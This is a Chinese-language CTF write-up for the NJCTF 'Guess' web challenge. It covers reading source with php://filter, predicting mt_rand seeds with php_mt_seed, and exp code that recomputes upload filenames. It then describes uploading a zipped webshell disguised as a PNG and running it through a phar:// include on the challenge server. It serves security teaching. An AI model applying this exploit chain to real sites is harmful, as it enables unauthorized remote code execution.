NJCTF-Geuess

0x01 获取源码

利用php的协议php://filter获取源码,具体方法:php://filter/convert.base64-encode/resource=upload,读到源码,然后base64解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
error_reporting(0);
function show_error_message($message)
{
die("<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function show_message($message)
{
echo("<div class=\"msg success\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");//61
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
echo "$ch";
return $str;
}
session_start();
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
if ($check2) show_error_message("Nope!");
if ($check1) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>

0x02 php随机数安全性分析

从源码中,可以发现两个关键函数rand()函数和mt_rand()函数,在php中,说道rand()函数和mt_rand()函数,就不得不说与他们相对应的两个播种随机数种子的函数,srand()和mt_srand(),

看如下测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
mt_srand(123456);
srand(123);
echo "rand函数在种子是123456时产生的随机数序列:\n";
for($i=1;$i<5;$i++){
echo rand()."\n";
}
echo "mt_rand函数在种子是123456时产生的随机数序列:\n";
for($i=1;$i<5;$i++){
echo mt_rand()."\n";
}
?>

运行结果:


测试发现无论是rand()函数还是mt_rand()函数,当随机数种子相同时,无论运行多少次,产生的随机数序列都是一样的,故如我们在代码中自己播种了随机的种子,但是泄露了这个种子,就会导致产生的随机数序列被别人猜到,进而造成安全问题。

在php>4.2.0版本中,不再需要手动用stand()或mt_srand()函数给随机数发生器播种了,已自动完成,也就是随机数的种子不用我们给了,php会自动播种一个种子,这样子就不存在种子泄露问题了,这样就完全了吗?其实并不然

PHP7.1 mt_rand已经变好了,本来php的随机数就不应该用在加密解密上,甚至都不应该自己写加密解密的方法。php5里最优的方法应该是用openssl,php7以后php会加自己的加密解密库。

看下面:


在kali系统中,rand() 和 mt_rand() 产生的最大随机数都是2147483647,
正好是 2^31-1 , 也就是说随机播种的种子也是在这个范围中,0 – 2147483647 的这个范围是允许我们进行爆破的. 但是用 php爆破比较慢,有大牛已经用c写了一个爆破种子程序php_mt_seed,预测种子的工具

演示一下它的基本用法

在演示例子中,让php自动播种一个种子并产生一个随机数,然后用php_mt_seed这个工具把产生的随机数作为参数,去爆破种子,最后得到三个结果,经验证,三个结果只有前两个是正确的,但是都会产生这样一个随机数

php manual 中说,自动播种种子是指:在每次调用 mt_rand()函数之前都播种一次种子呢,还是多次调用 mt_rand()函数之前,只播种一次种子呢,这对于我们能否猜到产生的随机数序列至关重要.

做一下测试:

在测试中,在没有进行手工播种的情况下产生两个连续的随机数,然后去爆破种子,得到了四个可能的种子,经过测试发现其中一个种子产生的随机数序列和预期的相同,故可以猜想在php中产生一些列的随机数时,只进行了一次播种

考虑下面代码安全性

我们能否根据公开的key,猜到$private?下面演示破解国称,首先获得public key在每一位字符串中的位置:

然后用php_mt_seed进行破解

成功破解了一个seed,测试:

这样就说明了,我们只需要拿到public key,就可以预测到private key 的值了.

言归正传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
session_start();
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
?>

我们的目标是猜测出filename.
这里 $seed 是 rand(0,999999999)生成的,我们不知道,但是$hash = md5(session_id() . $ss);我们却是知道的,在 cookie的SESSION中,当把cookie中的 PHPSESSID 设为空的时候,session_id()就也是空了,通过结hash,就可以获得 mt_rand() 产生的第一个随机数,然后用 php_mt_seed这工工具爆破种子,就可以直接算出文件名了.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
mt_srand(831237446);
echo mt_rand()."\n\r";
function random_str($length = "32") {
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
echo random_str()."\n\r";

具体实现步骤

观察之后发现我们如果有文件名,我们可以通过将木马压缩进zip包,然后上传该zip文件(改成Png后缀上传),利用phar伪协议包含执行命令。 所以我们的核心就是搞到文件名,即想办法搞到$seed。 这里我将一句话写进0.php,压缩之后改名为0.png上传 然后至于这里的session_id(),我们通过设置Cookie: PHPSESSID=;就能让它为空,所以得到随机数的md5,解开后的值为78503716


生成文件名的前一部分为YQO4DMVYN25oxMabf9t5UBKnngcPQf2y,加上我们上传的0.png,所以完整的文件路径利用exp为/uP1O4Ds/YQO4DMVYN25oxMabf9t5UBKnngcPQf2y_0.png,然后访问 http://218.2.197.235:23735/?page=phar://uP1O4Ds/YQO4DMVYN25oxMabf9t5UBKnngcPQf2y_0.png/0,最后执行命令即可拿到flag。 如下:

###参考链接
http://bendawang.site/article/NJCTF-2017-web-Writeup

http://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html

http://wonderkun.cc/index.html/?p=585

------*** end*** ------